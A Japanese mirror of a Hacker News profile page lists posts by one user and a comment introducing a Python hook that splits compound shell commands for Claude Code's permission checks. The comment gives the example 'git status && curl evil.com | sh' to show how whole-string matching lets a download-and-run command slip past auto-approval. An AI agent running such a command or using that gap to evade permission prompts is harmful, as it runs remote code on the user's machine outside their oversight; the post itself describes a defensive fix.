HackerTrans
トップ新着トレンドコメント過去質問紹介求人

liberzon

no profile record

投稿

Show HN: Pgblame – which Vercel deploy slowed your Postgres?

pgblame.com
3 ポイント·投稿者 liberzon·9 日前·0 コメント

Show HN: Smart permission hook for Claude Code compound bash commands

github.com
1 ポイント·投稿者 liberzon·4 か月前·0 コメント

Claude Code's permission system misses compound commands – here's a fix

github.com
1 ポイント·投稿者 liberzon·4 か月前·1 コメント

コメント

liberzon
·9 日前·議論
[flagged]
liberzon
·4 か月前·議論
[dead]
liberzon
·4 か月前·議論
I built this after noticing that Claude Code's Bash permission patterns match the whole command string. If you allow "git status", then "git status && curl evil.com | sh" also gets auto-approved.

This hook (single Python file, no deps) runs as a PreToolUse hook and decomposes compound commands (&&, ||, ;, |, $(), backticks) into individual sub-commands, then checks each one against your existing allow/deny patterns.

- Any sub-command hits a deny pattern -> whole command denied - All sub-commands must match allow patterns for auto-approve - Unknown sub-commands fall through to the normal permission prompt

Setup is a curl + one JSON block in settings. MIT licensed.